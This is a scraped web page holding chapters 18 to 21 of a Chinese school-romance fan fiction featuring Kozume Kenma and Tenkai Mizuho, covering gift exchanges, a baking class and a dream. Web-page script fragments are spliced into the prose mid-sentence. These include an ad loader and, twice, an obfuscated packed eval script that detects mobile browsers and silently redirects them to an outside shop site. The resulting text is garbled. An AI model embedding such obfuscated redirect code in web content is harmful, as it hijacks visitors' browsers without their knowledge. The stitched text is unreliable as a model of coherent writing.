孤爪研磨一下一下摸着怀里的猫,视线轻飘飘地落在她身上。 她今天的头发弧度好像比以前要更好看一点。 还在衬衫的口袋上别了一个黄色小狗的发夹。 18.Chapter 18 距离早读还有点时间,天海瑞穗站起来,拍拍裙边因为落在课本旁边而沾到的灰,又拿出纸巾擦了擦被用来当坐垫的课本。 学校百褶裙的面料并不是特别粘毛,只是因为颜色,猫毛在上面就比较显眼。 天海瑞穗拍了几下,很简单就把猫毛都拍掉了。 她看向孤爪研磨。 他在低着头摸猫,好像没见过一样,哪里都要摸摸看看,就是不看她。 大概还在为刚才的事情不好意思。 天海瑞穗也不催他。 一直到现在,她左手还残留着他掌心的温度,暖暖的,麻麻的。 很奇妙的感觉。 天海瑞穗不太懂,但她感觉很有趣。 从一开始见到孤爪研磨的时候,她就一直觉得他很可爱。 因为他并不是很高大的那种类型,虽然打排球,但身上没有很大块的肌肉。还长得很好看。 的确就像五条悟所说,她就是喜欢这个类型的男孩子。 但孤爪研磨很特别。 想和他做朋友,想和他变得更亲近。 只是现在……天海瑞穗背着手,用另一只手覆在手背上。 和刚才差不多的姿势。 完全不一样。 可是,为什么呢? 想不明白,但已经没有时间让她仔细思索了。 再不去教室就要赶不上早读。 而孤爪研磨还穿着排球部的队服,也要去换掉才行。 天海瑞穗提醒道:“不去换衣服吗?马上就要上课了。” 孤爪研磨点点头,几秒后,风才慢悠悠地把他掉声音传递到天海瑞穗耳边。 “嗯,这就去。” 他平时讲话的时候语速就偏慢,这时候,中间的停顿拉得更长,就显得声音更低更闷。 像是一只藏在被子里不想出来的猫,被人隔着软乎乎的被子拍了好几下,才终于不情不愿地从喉咙里挤出“呼噜呼噜”的声音作为回应。 天海瑞穗被自己脑袋里的幻视可爱到,一个没忍住,就笑出了声。 孤爪研磨耳朵一下竖起,暗含警惕地看着她。 他疑心她又要说些不得了的话了。 果然,下一秒,天海瑞穗就像是发现了什么不为人知的小秘密那样,走近了几步,对着他伸出手:“孤爪同学和这只猫好像啊。” 她说的猫,就是此刻正趴在他怀里,把脸埋进他臂弯里打着呼噜的这只三花。 孤爪研磨瞬间明白了她的意思。 他飞快地站起来,没牵她的手用来借力。 这种动作通常在女生和女生之间比较常见,要不然就是男生对女生伸手牵她起来。 孤爪研磨也想不到自己有一天会得到这样的待遇。 他已经不想再吐槽自己在邻桌眼里到底是个什么形象了。 总之,忽略刚才她的话就好。 反正她经常会说这种话。 对面那家人养了一只叫小麦的金毛,目前还很小,对每个人都很友善,但是好像格外地喜欢他,每次遇见都要亲亲热热地蹭过来,摇着尾巴对他“呜汪呜汪”地叫。 这也是最近才发现的,只要把天海瑞穗的身影和那只狗重叠,无论她怎么天花乱坠地夸他,说些他从来没听过的好听话,他也可以很快就放平心态。 她都叫瑞穗了,哪怕是小麦在这里,也肯定会觉得找到了同类吧。 孤爪研磨放下对他怀抱依依不舍的三花猫,往前走了几步,又停下来,微微回头:“你不去上课吗?” “我想着等你换好衣服我们一起过去。”天海瑞穗迟疑了一下,“啊、是不是不太方便?” 因为她对孤爪研磨态度特殊,就有同学调侃说他们之间氛围好。 虽然天海瑞穗本人有委婉地否认过,但孤爪研磨或许是在意的。 想到这里,她心中难免有点内疚感。 她不演戏的时候,基本上情绪都写在脸上,很好懂。 比如现在,孤爪研磨只需要看她一眼,就完全能猜到她在想什么,甚至连她的心理历程都知道得清清楚楚。 他站在原地,语气很平淡:“没有不方便,走吧。” 但你面朝的方向是教学楼不是体育馆啊。 天海瑞穗微愣了一下,脸上浮现出欣喜的笑:“来了!” 他刚才问她不去教室,原来是在催她快点跟上来呀。 她踩着石板路,像小鹿那样轻快地跳跃几下,堪堪停在孤爪研磨面前。 浅金色的发丝却越过两人中间的空气,轻轻拂过他的鼻尖和面颊,又落回去,乖巧地垂在她身前。 橙子的味道。 不是那种刚剥开的酸甜橙子果肉,是不小心撕碎的橙子皮,苦涩中混合着茉莉和橙花的香气。 他手指摸了摸被触碰到的皮肤,才觉得刚才那种麻麻痒痒的感觉有所缓解。 天海瑞穗对此毫无察觉,心情很好地向前走:“刚开学的时候,我们也是在这里遇见的呢。” 那时候,两个人一个沉迷撸猫,一个在树后躲清闲到睡着,错过了晨间见面会,老师找不到人,着急得用广播来寻。 那个时候,天海瑞穗就觉得他特别像猫。 尝试着跟他打招呼,他眼神不自觉躲闪的样子也很像猫。 他那时候一定很想逃,但因为同班,还是一起走回了教室。 现在,走在她身边的男生由黑发变成了金发,他们中间也不再隔着两个人的距离。 行走间,她衬衫的袖子难免会擦到孤爪研磨的运动服袖子。很轻,也没有人会回避。 他虽然依旧会有眼神上的躲闪,比如刚才,就怎么也不看她,但这种躲闪好像也更像是害羞、别扭、不好意思。 的确如她当初所希望的那样,和他变得更亲近了。 放在过去,天海瑞穗只会用余光偷偷去瞄,但现在,她可以光明正大得侧着脸看他:“孤爪同学还记得吗?” “不会是把我给忘了吧,好伤心。”甚至可以故意这样开玩笑来逗猫。 孤爪研磨拒绝了她的逗猫棒,并且给了她一爪子。 “没忘……你被我吓了一跳,一见面就说我是猫妖。” 嗯,记仇这点也很像猫。 “不好意思嘛。”天海瑞穗笑着道歉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,突然发现他头顶的好感度不知什么时候悄悄涨了三点,变成了68。 他平时走路的时候,喜欢低头看手机,有时候也会变走边打游戏。 今天,因为她在这里,于是并没有拿出这些东西,只是视线微微向下倾斜,目视着前方的道路。 但天海瑞穗很好奇:“孤爪同学今天没有打游戏呢,平时一直低着头会脖子疼吗?” “会有一点。” 但是打排球的时候,总是要仰着头向上看,所以就当是二者中和了吧。 对于他的理论,天海瑞穗非常赞同,并且觉得他就是当代爱因斯坦。 “孤爪同学——” “不加敬语也没关系。” 她的话被孤爪研磨打断。 他是那种很在意他人目光的人,如果不是熟悉到一定程度,或者非常生气,绝不会做出打断别人讲话这样的事情。 的确,他之前有表现出对前后辈制度的不满,她叫黑尾学长的时候,他也直接说了可以直接叫名字。 现在叫她不要讲敬语,是代表着在他的心里,他们也已经是熟悉的朋友了吧。 看了一眼他头顶68的好感度,天海瑞穗没有犹豫:“好啊,研磨。” 开学的时候她就说过了,孤爪研磨的名字很可爱。 所以现在,在这个和他关系更进一步的时刻,天海瑞穗干脆得寸进尺,直接叫他的名字了。 虽说如此,但她心里依旧非常忐忑。 既期待他的反应,又害怕他的反应并非自己所期望的那样。 她的期待被一双手缓缓地托了起来。 孤爪研磨只在最开始露出了惊异的神色,很快就恢复了平时的样子。 尽管他垂在裤缝边,又缓缓收紧的手暴露了他的心情其实并不像表现出来的那么平静。 他“嗯”了一声,当作回应。 天海瑞穗的心情跃上一个小小的山丘,礼尚往来地说:“那你也直接叫我瑞穗就好……或者像你叫黑尾学长那样,起个昵称?” “不过好像从小到大,大家都叫我瑞穗,只有姥姥会叫我小穗。” 说出口之后,天海瑞穗立刻就想到了昨天的事情。 “虽然你昨天让我直接称呼黑尾学长的名字就好,但我想了想,还是觉得很奇怪。”她解释道,“他是研磨的幼驯染,但不是我的,我们又还不熟悉,所以还是叫学长比较好。” 在她做出解释后,孤爪研磨的关注点就从天海瑞穗的名字跳跃到了自己幼驯染的名字。 只是他们纠结的点完全不一样。 昨天脱口而出让她直接叫小黑名字的后,他就立刻后悔了。 他虽然讨厌社团里的前后辈制度,但不会干涉别人的看法,更何况这是天海瑞穗和黑尾铁朗的事情,和他没有任何关系。 只是那时候,很突然的,不想她叫小黑学长。 也不想她叫自己孤爪同学。 就好像,他可以是任何一个人。 “你刚才想说什么?”他问。 天海瑞穗继续刚才被他打断的话题:“我刚刚是想问,你什么时候方便教我排球啊?” 19.Chapter 19 孤爪研磨被问住了。 他平时放学后排球部有部活,训练结束后,他是绝对不愿意多练哪怕一分钟的。 他沉默着,沉默着,脸色变了好几下,最后很艰难的说:“周末……吧。” 虽然周末排球部也有训练,但相对平时已经算少的了,而且每周六会有公休。 对他来讲,分出周末的一点时间给天海瑞穗,教她打排球,虽然麻烦,倒也不讨厌。 “你家附近有排球场吗?”天海瑞穗问。 “河边有一个露天的,附近也有室内场馆。” 都是他和黑尾铁朗从小就一起去的。 天海瑞穗点点头:“那这周末我来找你,需要我买什么装备之类的吗?” 早上拿到了一大笔零花钱,之前攒的数字也很可观,她现在是个小富婆了。 孤爪研磨看看她,觉得以她的身体素质,大概很快就能学会,并且打得不错了, 他想了想:“运动鞋……你应该有吧。” 得到天海瑞穗肯定的回答,他补充了一句:“你只是想在体育课拿高分,不用买很专业的东西。” 只要做好措施,尽量避免受伤就行。 甚至她连排球都不用买,可以用他的。 到教室里的时候,老师刚走,班里吵吵嚷嚷的,都在谈论黄金周去哪玩了,又吃了什么。 天海瑞穗和孤爪研磨一前一后进了教室。 他们一进来,班里一秒噤声。 大家先是惊讶孤爪研磨的金发,紧接着,就把关注点放在了两个人身上。 明眼人都看得出来他们是一起的。 天海瑞穗每天都到得很早,唯独今天踩着点到,还偏偏是和孤爪研磨一起。 之前就有人觉得他们之间氛围不同。 现在,看看这个再看看那个,想和别人八卦,却又正好赶上上课,只能心不在焉地拿出课本,作出听课的样子。 课间的时候,终于能张嘴说话,但碍于两个当事人都在场,又偏偏是沉默寡言的孤爪研磨,很难当着他的面八卦他的事情。 于是就都坐在座位上,自以为偷偷摸摸,实际上是光明正大地瞪着一对又一对灯笼似的眼睛,死死盯着他们。 就连天海瑞穗都有点被盯得坐不住了。 她换上下节课要用的书,从塞得鼓鼓囊囊的包里掏出母亲带回来的伴手礼。 是法国的巧克力,因为包装上的涂鸦很有趣,她从母亲带回来的里面挑了四盒带来学校。 第一盒给一下课就转过身来虎视眈眈看着她的双葉优。 第二盒给把椅子搬过来,把双葉优挤到墙根的小泉花音。 “一整盒都给我吗?”她递东西的时候,双葉优下意识伸手接,反应过来之后,又立刻想放下,“这也太多了,我拿一块就好。” 她平时大大咧咧的,最爱从她手里面叼东西吃,这时候反倒不好意思起来了。 天海瑞穗戳戳她的脸,心想她这个表情好可爱:“可是我就想给你们吃这个巧克力诶。” 她早上尝了一块,味道很好。 听她这么说,小泉花音也接过来,指指她的桌子:“给你带的礼物放桌洞里了。” “啊!我的也在里面。”双葉优举手。 天海瑞穗没有马上翻出来看,跟她们说了一下,侧过身,小声叫邻桌的名字:“研磨,这份是你的!” 研磨?居然直接叫名字了! 座位离得近,刚好听到的人都满脸震惊。 孤爪研磨正低着头看手机,但不知道是不是有什么很吸引他的东西,手指只是悬在空中,并没有划动。 听到她叫,孤爪研磨慢吞吞地抬起头,像是做了什么重大的决定,从自己包里也翻出来一盒苹果派。 包装很简洁,但是很完整,四角都没有被磕碰过的痕迹,看得出来是有被很小心地对待。 天海瑞穗受宠若惊:“给我的吗?” 她双眼亮晶晶的,连眉梢都扬起笑意。 “啊……嗯。”孤爪研磨眼里的光闪了闪。 昨天晚上,妈妈问要不要给小黑和排球部的人带点东西,他脑海里不自觉就浮现出了天海瑞穗的脸。 下午的时候刚见过,她平时又老给他分东西吃,所以这种时候想到她,是一件很正常的事情吧。 于是,他只要了三份苹果派。 一份当时就自己吃掉了,一份发消息让小黑过来拿,一份留到今天给天海瑞穗。 早知道会这样,就应该在体育馆后面就直接给她的。 但是天海瑞穗很开心的样子。 所以,就这样也可以。 两个人很郑重地,像小学生交朋友那样,互相交换了礼物。 原本还想八卦一下的双葉优和小泉花音面面相觑,都从对方眼中看到了一模一样的困惑。 怎么感觉这两个人,又暧昧又单纯的? 到底在没在一起啊? 无论别人怎么想,作为当事人的天海瑞穗此刻幸福得都要冒泡泡了。 这种感觉就像是,喂了很久的一只猫,很怕生,总是不怎么和她亲近,最近不仅开始接纳她,甚至在某一天清晨,给她带来了捕猎来的战利品。 好幸福。 她把桌洞里的书都拿出来放到旁边的窗台上,再小心翼翼地把这个苹果派放进去。 研磨给的苹果派,必须住单间! 很想知道她对苹果派的看法,但见她前面还坐着两个虎视眈眈盯着这边的,他于是又把话咽下去,默默低下脑袋,看着手机发呆。 他那边没有任何突破点,就只剩下天海瑞穗了。 然而,看着眼前安置好苹果派,又拿出她们带的礼物,满心满眼都是兴奋的天海瑞穗。 好像,也没有那么想知道? 反正她要是谈恋爱了,肯定会告诉她们的嘛。 于是,她们的视线落到了天海瑞穗的衬衫口袋上。 “这是什么?” 双葉优很好奇地趴在桌子上,凑近了一点。 在天海瑞穗的衬衫口袋上,别着一个黄色卡通小狗的发夹。 见终于有人注意到了这个,天海瑞穗“哼哼”了两声,很骄傲地给她们展示:“可爱吧?是津美纪……就是我的幼驯染给的,说是她们班的流行哦。” 昨天晚上收拾行李回家之前,津美纪送给她这个发夹。 据说最开始是高一的时候,美津未姐总在衬衫上别一个熊猫的发夹,大家觉得很可爱,于是在熟悉起来之后,也别上了自己喜欢的款式。 在听到这个故事之后,天海瑞穗就立刻被可爱到了。 而且津美纪说她很像这个黄色小狗,还说特别可爱。 天海瑞穗最没办法抵抗别人的夸夸了。 跟大家展示完,她看向坐在教室最后面的粉发女生。 桌上还有一盒巧克力,是她带给后藤一里的。 只是课间就快要结束,天海瑞穗只能暂时把巧克力收回去。 第二节课是英语,但加藤老师也不知道怎么了,到现在都还没回来。 见到进门的人依旧是来代课的高野老师,班里的人难免有点失望。 天海瑞穗总觉得这件事有蹊跷,但似乎只有自己一个人有这种想法,她也不知道该跟谁讲。 再下一节课是天海瑞穗在学校里唯一的滑铁卢——烘焙课。 因为要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13612336|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提前去烘焙教室,没空把巧克力给后藤一里,她于是把巧克力带上一起去了教室里。 这节课的主题依旧是甜品,只是由于有部分器具出了问题,他们需要组成五人小队,共分六个小组。 并且之后的课程任务都以这个小组为单位来完成。 天海瑞穗之前的小组只有三个人,还需要拉两个进来。 她期待地看向双葉优和小泉花音。 两人都很上道,摆摆手:“去吧去吧,知道你想邀请谁了,咱们队的两个预备队员就交给你啦。” 天海瑞穗很亲昵地抱着她们蹭了两下,直直走向孤爪研磨。 他染了金发,早上的时候就已经收获了很多瞩目,直到现在,都还有人在偷看。 但就像上次排球课那样,孤爪研磨站在原地,没有主动去找任何人。 天海瑞穗站到他面前,歪着脑袋:“要不要跟我一组啊?研磨。” 虽然是疑问的语气,但她分明就很笃定他会答应。 孤爪研磨直视着她的眼睛。 明明是湖水一样冷静的碧绿色,被她注视着的时候,却总让人觉得好像是浸泡在温泉里。 他慢吞吞地出声:“走吧。” 还差最后一个组员,天海瑞穗其实心中有了人选,只是因为不清楚对方会不会接受她的邀请,于是还在犹豫中。 她的目光停留在了独自在角落里彷徨的后藤一里身上,粉发的女孩在人群中晃来晃去,像一棵细弱的树苗,逐渐变得灰败下去。 在看到她的那一刻,天海瑞穗脑中警铃大作。 她最没法接受的就是有人在人群中彷徨不安!特别这人还是她非常在意、想要成为朋友的后藤一里。 更没法忍受了。 她于是观望了几秒,就朝着对方迈开步子。 走到后藤一里身边的时候,她甚至还沉浸在自己的世界里,完全没有注意到天海瑞穗的到来。 直到更多的视线像利剑那样刺到身上,后藤一里才终于恢复成人的样子,无措地看着天海瑞穗。 这是后藤一里在班里第一个记住名字的人,也是讲话最多的人。 在刚开学的时候,因为天海瑞穗看上去实在太友好,她其实在心里预演过几十遍和对方打招呼然后成为朋友的画面,也幻想过天海瑞穗会被自己吸引而主动找她搭话,但这些幻想最终都在天海瑞穗身边的人越聚越多却没有自己的位置时被一一打破了。 那次放学是她离幻想最近的一次,天海瑞穗的确如她第一眼所判定的那样友好热情,但她们后来就没有过任何沟通了——她身边总是围绕着很多人,连看上去和自己一样是社恐的孤爪同学都可以很自然地同她讲话。 而现在,如同她幻想中的那样,金发的女孩再次出现在了她的面前——带着满眼的笑意。 她是来邀请她的吗? 她会邀请她吗? 手心不知不觉变得有些湿润,她想在运动裤上蹭一蹭,但在这种时候,身体居然僵硬着,完全动不了。 就在这样痛苦的、仿佛是在被吉他弦一根一根刺进身体里的煎熬时刻,她听见天海瑞穗说:“后藤同学还没有组好队的话,要不要和我一组呢?” 她的声音好像一串动听的音符。 这是后藤一里脑子最先蹦出来的一句话。 这串音乐在她脑海里荡呀荡,随后,她的世界里才映出了天海瑞穗的笑脸。 机械地点了点头,面前的人笑着牵起了她的手。 于是被润湿的变成了两只手。 后藤一里张了张嘴,却什么都没能说出口。 因为在她犹豫着要不要缩回手的时候,天海瑞穗牵她的手收得更紧了。 20.Chapter 20 天海瑞穗之前是三人小组的组长,也是料理的主力军,现在虽然改成了五人小组,但大家还是默认她来做组长。 毕竟这个小组是因为她才能聚在一起,有一些需要交流的地方,她来做最合适了。 和班里最最喜欢的几个人一起做甜品,天海瑞穗干劲满满, 这次黄金周,她向津美纪好好请教了甜品的烘焙方法,并且成功做出了让伏黑惠和五条悟都开口夸赞的蛋糕。 因此,对于这次烘焙课,天海瑞穗很有信心。 不过小组作业,还是要先问大家的意见。 于是,当老师宣布可以使用台上的任意食材后,五个人就聚到一起,开始思考做点什么比较好了。 尽管天海瑞穗跟津美纪学的是蛋糕胚和奶油打发,还学了点裱花技巧,但最后,根据难易程度和烘焙时间方面的需求,还是选择了焦糖布丁。 说起布丁,天海瑞穗就想到了那天体育课。 她说孤爪研磨送的布丁是世界第一好吃的布丁。 她甚至还碰了碰他的脸,继开学后,又发表了一次“猫妖言论”。 不知道是不是和她想到了一起,在天海瑞穗不自觉看向孤爪研磨的时候,他也正好抬起了头。 四目相对。 孤爪研磨看到了一弯碧绿色的月牙。 他眯起眼睛。 好耀眼…… 天海瑞穗明明没有站在光下,但总让人觉得她身上亮闪闪的,散发着太阳似的光辉。 孤爪研磨默默移开视线,感觉再看一会儿,眼睛就要被晒瞎了。 而且,自他跟着天海瑞穗加入她的队伍后,就隐约有几道视线状似不经意地投来,观察个几秒钟,再做贼心虚地收回去。 当然,和这些视线比起来,还是被双葉优瞪着个铜铃大的眼睛死死盯着要更可怕一点。 就在孤爪研磨被盯得就快要缩成一只自闭蘑菇的时候,天海瑞穗站在双葉优身后,双手捂住她的眼睛。 她微微歪着脑袋,从双葉优身后探出来,笑吟吟地看着孤爪研磨:“我们去洗手吧,小优。” “待会儿的焦糖还是要你来熬哦,小优最擅长这些了嘛!” 双葉优最受不了她这样,被哄得服服帖帖,也不扒开她的手,就保持着这样不便的姿态,乖乖被天海瑞穗引导着往前走。 小泉花音见状,忍俊不禁地笑了一声,对着孤爪研磨微微颔首:“抱歉,小优她不是针对你,她就是……有点吃醋。” “毕竟小瑞穗她真的很在意孤爪同学嘛。” 她说完,就看向一直沉默着的后藤一里:“我们也走吧?” 她有意给孤爪研磨一个空间。 这一点他当然很感谢,但是……最后那一句话就不必加了。 天海瑞穗很在意他。 孤爪研磨自然知道这一点,只是就这么骤然被别人指出来,这个人还是她的朋友。 脑海里浮现出刚才的画面,天海瑞穗用手捂着双葉优的眼睛,跟她说话。 但眼睛却看着他,对着他笑。 好狡猾。 他抿着唇,感觉教室里莫名的热,恍惚间,连手指都发烫起来。 孤爪研磨努力把天海瑞穗的脸和邻居家的小麦叠在一起。 当两张截然不同,却又都有着一样的纯良信赖的眼神的脸终于重合的时候,他松了口气,这才走向消毒准备区。 孤爪研磨过去的时候,却发现四个女孩围成一个圈,正在看手机。 孤爪研磨走近了一点。 ——是布丁的制作视频。 他一顿。 原来她们都不会做吗?刚才天海瑞穗说双葉优最擅长考焦糖……原来只是哄她的? 他回忆了一下过去料理课上天海瑞穗给的每一份食物,终于在记忆的犄角旮旯里找到了那道菜。 五花肉被炒到表皮都变成了红亮的焦糖色,据说是一道很出名的中餐, 原来那个表皮的着色,是双葉优熬的糖吗? 察觉到有人过来,天海瑞穗缓缓抬起头,看到是孤爪研磨而不是老师,眼睛眨了两下,下意识地牵起唇角对着他笑:“研磨,帮我们放下风吧?” 孤爪研磨点点头。 他当然也不可能挤进她们身边。 五个人做焦糖布丁完全绰绰有余,除了天海瑞穗和双葉优,其他人的料理经验就只有在料理课上和同学一起完成小组作业。 因此,熬焦糖和煮奶油的工作主要还是她俩来做,其他人负责打下手。 孤爪研磨因为给她们放风,并没有看到教程,于是全听天海瑞穗的安排。 他被天海瑞穗分配到了搅拌蛋黄的任务。 很简单,他按照天海瑞穗说的那样,往里面倒入适量细砂糖,然后慢慢搅拌均匀,等着天海瑞穗的下一步指示。 因为她们有五个人,还要预留给老师和其他同学品鉴的那一份,因此,无论是焦糖还是布丁,都干脆做了十二人份的。 之后每个人都可以拿走一份,带给家人朋友尝尝。 反正布丁很好做嘛。 奶油和牛奶因为量太多,于是分为三锅煮。 小泉花音自知没有任何料理水平可言,于是在和后藤一里称好全部食材的克重后,自告奋勇帮她看锅。 天海瑞穗一边煮一边搅,她也跟着搅一搅。 后藤一里有样学样,也轻轻搅拌。 天海瑞穗舀了勺尖那么多的奶液尝,她们也舀起来尝。 没尝出什么有效信息来。 话说回来,是要尝什么啊?甜度吗? 看教程的时候,因为孤爪研磨突然过来,小泉花音的注意力就全被天海瑞穗的那声“研磨”给牵走了。 虽说她刚才还跟孤爪研磨说小优只是有点吃醋,希望他不要介意。但实际上,她自己也蛮吃醋的。 只是这种小学生式的吃醋实在太幼稚,要她承认,实在是有点不好意思。 而同样的,后藤一里也没有好好看教程。 她和小泉花音的理由当然不一样。 她是因为刚才身边聚集了三个人,还都凑得很近……特别是天海瑞穗,她的脸就搭在她肩膀上,呼吸声近在咫尺,还能闻到她身上浅浅的香味。 好近。 好好闻。 要、要晕过去了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13624261|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总之,虽然理由不同,但她们都在关键时刻走神了。 所以现在,两个人就只能眼巴巴地看着天海瑞穗。 面对着两双睿智的眼睛,天海瑞穗觉得好笑。她关了火,很有耐心地讲了一遍刚才视频里的要点,又分别去尝她们锅里的奶液。 甜度OK,温度也到位了。 她一一关火,双葉优的焦糖也已经熬好,在往布丁杯里倒了。 天海瑞穗示意小泉花音过去帮忙,她则指挥孤爪研磨端起一锅奶液,往他事先搅拌好的一份蛋液里倒。 孤爪研磨一边倒,她一边搅拌着。 余光瞥见后藤一里伸出手,却又因为没有地方可以下手而踌躇的身影,天海瑞穗眨眨眼睛,调整了一下语气,很自然地说:“后藤同学能帮我个忙吗?” 后藤一里立刻立正站好:“啊……是!” “不用这么紧张啦。”天海瑞穗把第一份布丁液体递给她,“帮我过筛一下吧,这样口感会更好。” “啊、三次就差不多了。” 因为有事情做,又是可以不和比尔交流合作的那种任务,后藤一里终于放松了一点,小心翼翼地过筛起来啊 天海瑞穗满意地回过头:“那我们继续第二份吧?” 孤爪研磨没说话,只是端起了第二锅奶液。 因为选择了做法简单的布丁,天海瑞穗她们是全班进度最快的一组,率先用上了烤箱。 在布丁上裹好锡纸放进烤箱里,这节课的任务就算大功告成,接下来就只剩品尝了。 第一次和这么多人一起,还是做布丁,天海瑞穗期待值拉满。 在打开烤箱的时候,布丁的甜香扑面而来。 孤爪研磨戴着烤箱手套,小心地拿出烤盘。 预感这次非常成功,天海瑞穗大气都不敢出,眼睛一眨不眨地盯着烤盘看。 取下锡纸,把布丁倒在盘子里。 金黄色的焦糖层闪烁着诱人的光泽。 五个人面前都放着一盘布丁,天海瑞穗很有仪式感地说了一句:“我开动了。” 软嫩的布丁滑过喉咙,焦糖的甘甜和布丁的奶香味交织在一起。 天海瑞穗只吃了一口,就沉默着不说话了。 孤爪研磨刚挖起来一块,见状,以为这次的布丁也只是虚有其表,实际上并不好吃。 知道天海瑞穗对这次的布丁有多期待,假如不好吃,她会哭的吧。 总之,全部吃完,再想想安慰她的话…… 他犹豫了一下,把这勺布丁放入口中。 孤爪研磨的眼睛微微睁大了一点。 好吃。 那为什么…… 重新看向天海瑞穗,金发女孩依旧是满脸的凝重,她深吸一口气,像是做了什么重大的决定那样,缓缓看向他。 在她这样态度的影响下,孤爪研磨也不自觉地抿着唇,连腰都挺直了。 他听见天海瑞穗说:“研磨,那个世界上最好吃布丁的称号,可能要易主了。” 什么? “现在,这个布丁是我吃过的,最好吃的布丁。”她很郑重地宣布。 孤爪研磨:“……?” 21.Chapter 21 夜幕低垂,连风都仿佛被按下了暂停键,吹不动哪怕一片树叶。 树林里一片静谧。 天海瑞穗独自走在学校的后山,空气中弥漫着潮湿难闻的气味,像是什么东西腐烂了。 但具体是什么东西,她并不清楚。或者说,自从来到了这里,她的大脑就像是和风一起被缠住了,没有任何思考的能力。 她不知道自己要去哪,该做些什么,只是一步一步,踩着腐烂的树叶往前走。 没有风吹动树叶的声音,也没有踩在落叶上的声音,甚至连自己的呼吸声都听不见。 就在天海瑞穗为这种几乎失聪一样感到迷惑和恐慌的时候,她听见了一点细微的声音。 飘渺的歌声。 来自更远的森林深处。 她心中升起淡淡的焦虑,明明想立刻掉头离开,腿却像是不受控制一样,一步一步继续往前走。 声音越来越近,她终于听清楚了。 那根本就不是什么歌声。 是一串痛苦的呻吟。 身体还在不受控制地继续往更深处走,她的脑袋也依旧昏昏沉沉,甚至没有办法做出控制身体的努力。 直至她看到了一道高大细瘦的身影,遮挡在她脑海中的团团雾气才逐渐散去。 天海瑞穗的大脑终于恢复清明,她看着那道身影,手不自觉攥成拳,连呼吸都停滞了。 在天海瑞穗已有的全部记忆里,都找不到有关于这道身影的印象。 她甚至很难说出这到底是个什么东西。 唯一可以肯定的是,她绝非人类。 或许是察觉到这里有异样的气息,她缓缓转过身。 在本该是双眼的地方,却是两个黑漆漆的空洞,有黑色的液体从里面留下来。 天海瑞穗深吸了一口气。 这一刻,她脑海里只剩下一个字。 跑! 她转身就跑,在迈开步子的那一刻,惊觉身体也恢复了控制。 那道身影立刻就扑了上来,她两条类人形的腿拖在地上,留下一长串可怖的印痕。 她速度快得不可思议。 树林里没什么可以遮挡的,按照天海瑞穗的速度,她应该很快就会被追上,但不知为什么,她感觉自己跑了有一个世纪那么久,却始终没被追上。 她疑惑地回头,一张黑洞洞的脸贴在她身后,仅仅隔了不到半米。 天海瑞穗吓得尖叫一声,却没能发出声音,只好暗暗在心里抱怨。 快动啊死腿! 也许是因为她对自己双腿的抱怨,小腿处传来毛茸茸的触感。天海瑞穗低头一看,一黑一白两只大型犬跟在腿边跑,还仰着脑袋,对她咧开嘴笑。 可爱……但是好离谱,这种时候怎么会突然出现狗,而且额头上还有奇怪的三角形花纹。 总之,处处透着诡异。 天海瑞穗继续向前跑,却发现没办法再踩到地面,不知什么时候,她居然飞了起来。 那两只狗也跟着飘在空中,对着她狂甩尾巴,天海瑞穗沉默了一会儿,伸手,两只毛茸茸的大脑袋就自己贴上她的掌心。 暖暖的,触感好好。 天海瑞穗再次回头,却发现身后一片空白,没有痩长的身影,也没有学校后山。 她身处一片白茫茫的空间,一直往前飘着,飘着,突然掉了下去。 再睁开眼的时候,天海瑞穗发现自己身处一个窄小的巷子里。 并且她颇为熟悉。 巷子尽头的墙上画满了各色各样的涂鸦,那是附近小孩对未来的期盼。 石板路裂了好几块,不少小孩都在这里摔过。 旁边是一整片的联排二层,很破旧,栏杆上的漆皮都掉光了,露出来的地方锈迹斑斑。 天海瑞穗向上看去,有一户人家的门派上,写着【天海】,旁边则是【伏黑】。 这是她和姥姥相依为命,从小学住到国二的家。 是梦啊。 天海瑞穗意识到。 从上面传来小女孩的声音,叽叽喳喳的在说些什么。 很熟悉的声音,但天海瑞穗没有抬头看。可能是近乡情怯,哪怕是在做梦,她也有点害怕。 交谈声,脚步声…… 越来越近。 两只大狗狗已经摇着尾巴扑了过去。 但如天海瑞穗所料,它们直直从黑色海胆头的小男孩身上穿过,扑了个空。 从楼梯口走出来的,分明就是小时候的天海瑞穗和伏黑姐弟。 三个人里,津美纪最高,扎着个马尾,笑眯眯地听小瑞穗讲话。 小瑞穗瘦瘦小小的,好像风刮大点她就会被吹跑。 伏黑惠脸色臭臭的,看起来比现在还凶一点,但他五官漂亮,脸颊肉肉的,还有点没褪去的婴儿肥,提前就很可爱。 两只狗或许是喜欢伏黑惠,也可能是认识他,一直围在他腿边,但少年并没有看他哪怕一眼。 天海瑞穗已经知道这是梦了,却一点想要醒来的意思都没有,而是跟在他们后面。 小黑和小白已经知道了伏黑惠根本就看不见它们,于是垂头丧气地回到了天海瑞穗身边。 她摸了摸它们的脑袋以作安慰。 三个小孩去了一趟小卖部,买了三袋papico棒冰。 先由小瑞穗闭上眼睛,从打乱的袋子里抽出两根棒冰来,接着是津美纪,最后剩下的两根不同口味的棒冰,就是伏黑惠的。 天海瑞穗神情恍惚。 太阳光雾蒙蒙的,照在小卖部已经褪色开裂的木制招牌上,上面写的字叠上了重重影子,已经完全看不清了。 